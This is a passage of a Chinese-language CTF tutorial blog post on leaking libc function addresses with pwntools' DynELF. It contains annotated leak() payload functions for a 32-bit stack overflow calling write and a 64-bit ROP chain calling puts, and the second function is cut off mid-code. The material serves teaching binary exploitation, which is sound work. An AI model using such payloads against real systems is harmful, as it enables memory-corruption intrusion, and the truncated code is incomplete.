用DynELF模块和通用gadget实现libc通杀(详细注释)

用DynELF模块和通用gadget实现libc通杀(详细注释)

泄露libc版本方式

主要原理:利用栈溢出等写入栈的手段调用write或者puts函数,并控制write或puts函数参数泄露libc函数真实地址

  • write函数特点:可以控制大小,但是在64位程序中需要使用gadget进行寄存器传参,有时可能碰不到合适gadget
  • puts函数特点:不可控制输出大小,但是所需参数少,常见,使用灵活。
x86版本

由于x86程序直接使用栈传参,所以可以直接通过构造栈控制函数调用参数

XDCTF2015-pwn200为例

def leak(address):
	payload = "A" * 112  # 栈大小
	payload += p32(writeplt)  # write函数plt表地址地址
	payload += p32(vulnaddress)  # 返回地址,持续控制
	payload += p32(1)  # write标准输出
	payload += p32(address)  # 目的输出
	payload += p32(4)  # 长度
	p.send(payload)
	data = p.recv(4)  # recv长度4字节
	print "%#x => %s" % (address, (data or '').encode('hex'))
	return data
x64版本

x64程序先使用寄存器传参,当参数不多于6个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9

LCTF2016-pwn100为例

由于在程序中没有找到write函数的调用,所以只能使用puts函数进行泄露

def leak(address):
  count = 0
  data = ''
  payload = "A" * 64 + "A" * 8  # 填充垃圾数据
  payload += p64(poprdi) + p64(address)  # 目标地址,需要先把地址pop到rdi中
  payload += p64(putsplt)  # 调用puts
  payload += p64(startaddress)  # 因为puts函数会一直输出,直到遇到栈中的截断字符,所以为了保证栈的平衡,所以返回到start
  payload = payload.ljust(200, "B")
  p.send(payload)
  print p.recvuntil('bye~n')
  up = ""
  # 为了接收到puts函数输出的所有字符,逐字符的接收拼接字符串,因为不知道puts函数以什么字符结束输出,所以引入超时机制
  while True:
    c = p.recv(numb=1, timeout=0.5)
    count += 1
    if up == 'n' 
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值